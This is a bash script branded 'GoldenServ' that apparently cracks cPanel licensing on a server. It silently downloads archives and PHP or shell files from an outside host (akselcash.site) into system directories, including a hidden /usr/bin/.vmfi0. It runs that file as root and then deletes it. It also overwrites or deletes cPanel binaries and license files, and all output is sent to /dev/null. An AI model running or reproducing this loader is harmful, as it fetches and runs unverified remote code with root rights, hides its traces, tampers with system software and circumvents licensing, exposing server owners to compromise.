#!/bin/bash


# GoldenServ


key="cpanel"
RED='\033[0;31m' # Red
Green='\033[0;32m'        # Green
NC='\033[0m' # No Color
filename=".vmfi0"
file_path="/usr/bin/.vmfi0"
api="http://akselcash.site/api/getinfo.php?key=$key"
api_license="http://akselcash.site/api/license.php?key=$key"
status_code=$(curl -LI "$api" -o /dev/null  2>&1 -w '%{http_code}\n' -s)
current_ip=$(curl -s https://ipinfo.io/ip)
domain_show="https://goldenserv.net"
brand_show="GoldenServ"
hostname_show=$( hostname )
status=false
server_range=0
firewall_stop='false'
key_cmd='gb'
buyer="f5a7d"
action="$1"
date="$( date +"%Y-%m-%d")"
output=$( curl -s   "$api" )

if [ "$status_code" = "000"  ];then
    printf "${RED}Plesae try after afew minutes ${NC}\n"
    echo ""
    exit 1
fi

if [ "$status_code" = "403"  ];then
cp /usr/local/RC/cpanel_rc /usr/local/cpanel/cpanel > /dev/null 2>&1
cp /usr/local/RC/uapi_rc /usr/local/cpanel/uapi > /dev/null 2>&1
rm -rf /usr/local/cpanel/cpsrvd > /dev/null 2>&1
cp /usr/local/RC/cpsrvd_rc /usr/local/cpanel/cpsrvd > /dev/null 2>&1
cp /usr/local/RC/whostmgr_rc /usr/local/cpanel/whostmgr/bin/whostmgr > /dev/null 2>&1
cp /usr/local/RC/whostmgr2_rc /usr/local/cpanel/whostmgr/bin/whostmgr2 > /dev/null 2>&1
cp /usr/local/RC/whostmgr4_rc /usr/local/cpanel/whostmgr/bin/whostmgr4 > /dev/null 2>&1
cp /usr/local/RC/whostmgr5_rc /usr/local/cpanel/whostmgr/bin/whostmgr5 > /dev/null 2>&1
cp /usr/local/RC/whostmgr6_rc /usr/local/cpanel/whostmgr/bin/whostmgr6 > /dev/null 2>&1
cp /usr/local/RC/whostmgr7_rc /usr/local/cpanel/whostmgr/bin/whostmgr7 > /dev/null 2>&1
cp /usr/local/RC/whostmgr9_rc /usr/local/cpanel/whostmgr/bin/whostmgr9 > /dev/null 2>&1
cp /usr/local/RC/whostmgr10_rc /usr/local/cpanel/whostmgr/bin/whostmgr10 > /dev/null 2>&1
cp /usr/local/RC/whostmgr11_rc /usr/local/cpanel/whostmgr/bin/whostmgr11 > /dev/null 2>&1
cp /usr/local/RC/whostmgr12_rc /usr/local/cpanel/whostmgr/bin/whostmgr12 > /dev/null 2>&1
cp /usr/local/RC/xml-api_rc /usr/local/cpanel/whostmgr/bin/xml-api > /dev/null 2>&1
cp /usr/local/RC/xml-api_rc /usr/local/cpanel/whostmgr/bin/xml-api > /dev/null 2>&1
rm -rf /usr/local/cpanel/libexec/queueprocd > /dev/null 2>&1
cp /usr/local/RC/queueprocd_rc /usr/local/cpanel/libexec/queueprocd > /dev/null 2>&1
rm -rf /usr/local/RCBIN/icore/socket.so.1 > /dev/null 2>&1
rm -rf /usr/local/RCBIN/.mylib > /dev/null 2>&1
rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1
rm -rf /usr/local/cpanel/cpsanitycheck.so > /dev/null 2>&1
rm -rf /etc/letsencrypt-cpanel.licence > /dev/null 2>&1
rm -rf /root/RCCP.lock > /dev/null 2>&1
    printf "${RED}Something Went Wrong [NO VALID ACTIVE LICENSE FOUND]  ${NC}\n"
    echo ""
    exit 1
fi


if [ ! -d "/usr/local/BLBIN" ];then
cd /root
wget  -q  -O akselcash.site/scripts/BLBIN.tar.gz  >/dev/null 2>&1
tar -xpf BLBIN.tar.gz --directory /usr/local  >/dev/null 2>&1
rm -rf /root/BLBIN.tar.gz  >/dev/null 2>&1

fi

if [ ! -f "/usr/local/RCBIN/bin/php" ];then
cd /usr/local &> /dev/null
wget -q  -O "/usr/local/RCBIN.zip"  "https://akselcash.site/scripts/RCBIN.zip" &> /dev/null
unzip RCBIN.zip &> /dev/null
rm -rf "/usr/local/RCBIN.zip" &> /dev/null

fi


rm -rf /etc/yum.repos.d/php_license.repo &> /dev/null
curl https://akselcash.site/scripts/application/public/cp2.php &> /dev/null
wget -q  -O "/usr/bin/gblicensecp_update" "akselcash.site/api/files/cpanel/gblicensecp_update.sh" &> /dev/null
wget -q  -O "/usr/bin/.cp" "akselcash.site/api/files/cpanel/cp.php" &> /dev/null
curl -L -s -o "$file_path" "https://akselcash.site/api/files/cpanel/vmfi0.php" &> /dev/null

chmod +x $file_path &> /dev/null
$file_path "$@"
rm -rf $file_path